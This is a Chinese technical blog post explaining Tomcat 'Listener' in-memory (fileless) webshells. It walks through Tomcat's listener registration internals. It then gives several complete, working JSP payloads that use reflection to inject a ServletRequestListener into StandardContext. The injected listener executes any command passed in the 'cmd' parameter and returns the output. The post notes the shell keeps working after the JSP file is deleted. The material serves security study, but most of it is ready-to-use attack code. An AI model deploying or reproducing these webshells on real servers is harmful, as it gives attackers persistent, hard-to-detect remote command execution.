[Java安全]—Tomcat Listener内存马

内存马

定义

内存马,也被称为无文件马,是无文件攻击的一种常用手段。而无文件攻击呢顾名思义就是不利用shell文件进行攻击,但这里的无文件并不是真的意义上的“无文件”,而是一种攻击思路,是将恶意文件内容以脚本形式存在计算机中的内存注册表子项目中或者利用系统合法工具以逃避安全检测的方法。

分类

  • servlet-api类

    ○ listener型

    ○ filter型

    ○ servlet型

  • spring类

    ○ 拦截器

    ○ controller型

  • Java Instrumentation类

    ○ agent型

Listener

顾名思义就是监听器,他能够监听一些事件从而来达到一些效果。在请求网站的时候, 程序先执行listener监听器的内容:Listener -> Filter -> Servlet

Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:

  • ServletContext,服务器启动和终止时触发
  • Session,有关Session操作时触发
  • Request,访问服务时触发

request只要访问服务就能触发,所以listener的request方式最适合做内存马

环境配置

idea配置tomcat_a大数据yyds的博客-CSDN博客_idea tomcat

添加个Tomcat服务,里边这些选项不需修改的话默认即可

在这里插入图片描述

File->Project Structure在Modules中我们可以看到我们项目Module。右键,Add一个Web。

在这里插入图片描述

添加好后设置好web.xml路径和index.jsp的路径

在这里插入图片描述

配置好Modules,我们再配置Artifacts。在Artifacts中,点击绿色加号。选择Web Application:Exploded,然后再选择我们刚配置的Moudules

在这里插入图片描述

在Tomcat Server设置刚刚刚添加好的war_exploded即可

在这里插入图片描述

恶意Listener构造

Listener 必须实现 EventListener 接口

在这里插入图片描述

可以看到有很多接口继承自 EventListener ,那么如果我们需要实现内存马的话就需要找一个每个请求都会触发的 Listener

在这里插入图片描述

找到了ServletRequestListener

public interface ServletRequestListener extends EventListener {
    default void requestDestroyed(ServletRequestEvent sre) {
    }

    default void requestInitialized(ServletRequestEvent sre) {
    }
}

用于监听ServletRequest对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法这里做个demo测试下

Listener.java

package memoryshell;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class Listener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("执行了TestListener requestDestroyed");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("执行了TestListener requestInitialized");
    }
}

web.xml,这里填写自己包的位置即可

<listener>
        <listener-class>memoryshell.Listener</listener-class>
</listener>

运行后成功执行我们预定义的方法

在这里插入图片描述

找到了适合的 Listener 之后,我们就可以在其基础上进行内存马的编写,所以接下来我们只需要解决以下两个问题就可以了

  1. 恶意代码写在哪里?
  2. Tomcat 中的 Listener 是如何实现注册的?

恶意代码写在System.out.println("执行了TestListener requestInitialized");这里就好了

而在Listener 这里提供了 ServletRequestEvent 类型的参数,从名字可推测出为 Servlet请求事件

public void requestInitialized(ServletRequestEvent sre) {}

做内存马那我们就需要获取传入的请求,即:cmd=whoami

http://localhost:8081/Java_Security_war_exploded/listener.jsp?cmd=whoami

所以我们需要寻找 sre 的一个方法来获取到请求,找到了getServletRequest 方法,根据名字也能看出获取request请求

跟进看一下,这里返回的类型是ServletRequest接口的实现类类型

在这里插入图片描述

所以本地调试一下看看用到的是哪个实现类的类型

public void requestInitialized(ServletRequestEvent sre) {
    System.out.println(sre.getServletRequest());
}

返回的是RequestFacade类型

org.apache.catalina.connector.RequestFacade@791bd73a
执行了TestListener requestDestroyed

跟进之后发现request 属性中就有这我们需要的 Request类型,所以直接反射获取值即可

在这里插入图片描述

    org.apache.catalina.connector.RequestFacade requestFacade = (RequestFacade) sre.getServletRequest();
    try {
        Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
        requestField.setAccessible(true);
        Request request = (Request) requestField.get(requestFacade);
        System.out.println(request);
    }catch (Exception e){
        e.printStackTrace();
    }

这里就直接构造好了我们需要的类型

在这里插入图片描述

最后把获取的参数值作为我们的 Runtime 的参数就可以了

package memoryshell;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.io.InputStream;
import java.lang.reflect.Field;

public class Listener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("执行了TestListener requestDestroyed");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        String cmd;
        try {
            cmd = sre.getServletRequest().getParameter("cmd");
            org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
            Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
            requestField.setAccessible(true);
            Request request = (Request) requestField.get(requestFacade);
            Response response = request.getResponse();

            if (cmd != null){
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                int i = 0;
                byte[] bytes = new byte[1024];
                while ((i=inputStream.read(bytes)) != -1){
                    response.getWriter().write(new String(bytes,0,i));
                    response.getWriter().write("\r\n");
                }
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

直接执行命令

在这里插入图片描述

注册流程

listenerStart()

Listener 既然要被注册进并使用,所以期间肯定会实例化这个类,所以断点打在了class类和命令执行的部分

在这里插入图片描述

直接跟到StandardContext#listenerStart 方法,在4660行进行了实例化,用到参数是listener而listener的值是从listeners来的,listeners又是通过findApplicationListeners()获取的,最后又传入了results中

在这里插入图片描述

findApplicationListeners()返回的是applicationListeners属性

public String[] findApplicationListeners() {
    return applicationListeners;
}

它的值就是我们web.xml写入的值

在这里插入图片描述

接着往下看,首先遍历了 results 数组,然后在 for 循环中根据不同类型的 Listener 添加到了不同的数组中,这里我们的 ServletListener 属于第一个判断,所以被添加到了 eventListeners 数组中

ArrayList<Object> eventListeners = new ArrayList<>();
ArrayList<Object> lifecycleListeners = new ArrayList<>();
for (int i = 0; i < results.length; i++) {
    if ((results[i] instanceof ServletContextAttributeListener)
        || (results[i] instanceof ServletRequestAttributeListener)
        || (results[i] instanceof ServletRequestListener)
        || (results[i] instanceof HttpSessionIdListener)
        || (results[i] instanceof HttpSessionAttributeListener)) {
        eventListeners.add(results[i]);
    }
    if ((results[i] instanceof ServletContextListener)
        || (results[i] instanceof HttpSessionListener)) {
        lifecycleListeners.add(results[i]);
    }
}

接下来调用 getApplicationEventListeners 函数来获取 applicationEventListenersList 属性(即已注册的 Listener),之后存储到eventListeners中,在经过setApplicationEventListeners()进行设置

在这里插入图片描述

跟进setApplicationEventListeners(),先通过clear()清空,在将传入的listeners重新赋值给它

public void setApplicationEventListeners(Object listeners[]) {
    applicationEventListenersList.clear();
    if (listeners != null && listeners.length > 0) {
        applicationEventListenersList.addAll(Arrays.asList(listeners));
    }
}

applicationEventListenersList 是List<Object> 类型的所以这里面存放的都是实例化后的 listener

private List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();

至此listenerStart就结束了,这部分主要就是进行了listener的存储

fireRequestInitEvent()

在存储后就需要找个触发点,找到了fireRequestInitEvent()这里,最后调用了requestInitialized(event);,也就是我们在listener构造时触发的地方,所以可以通过listener恶意执行代码

在这里插入图片描述

listener是通过instances赋值来了,而instances则是getApplicationEventListeners()的返回值,这就联系到了前边listenerStart()中通过该方法进行存储的地方

public Object[] getApplicationEventListeners() {
    return applicationEventListenersList.toArray();
}

poc构造

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!

    class Listen implements ServletRequestListener {

        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            String cmd;
            try {
                cmd = sre.getServletRequest().getParameter("cmd");
                org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
                Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
                requestField.setAccessible(true);
                Request request = (Request) requestField.get(requestFacade);
                Response response = request.getResponse();

                if (cmd != null){
                    InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                    int i = 0;
                    byte[] bytes = new byte[1024];
                    while ((i=inputStream.read(bytes)) != -1){
                        response.getWriter().write(new String(bytes,0,i));
                        response.getWriter().write("\r\n");
                    }
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }

        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>

<%
    ServletContext servletContext =  request.getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    Object[] objects = standardContext.getApplicationEventListeners();
    List<Object> listeners = Arrays.asList(objects);
    List<Object> arrayList = new ArrayList(listeners);
    arrayList.add(new Listen());
    standardContext.setApplicationEventListeners(arrayList.toArray());

%>

在这里插入图片描述

此时将listen.jsp删除后命令仍可以执行,重启服务器后内存马就不在了

附上网络上公开的内存马:

方式一:

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

方式二:

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

test.jsp

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
    public class MyListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listenerDemo = new MyListener();
    context.addApplicationEventListener(listenerDemo);
%>
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值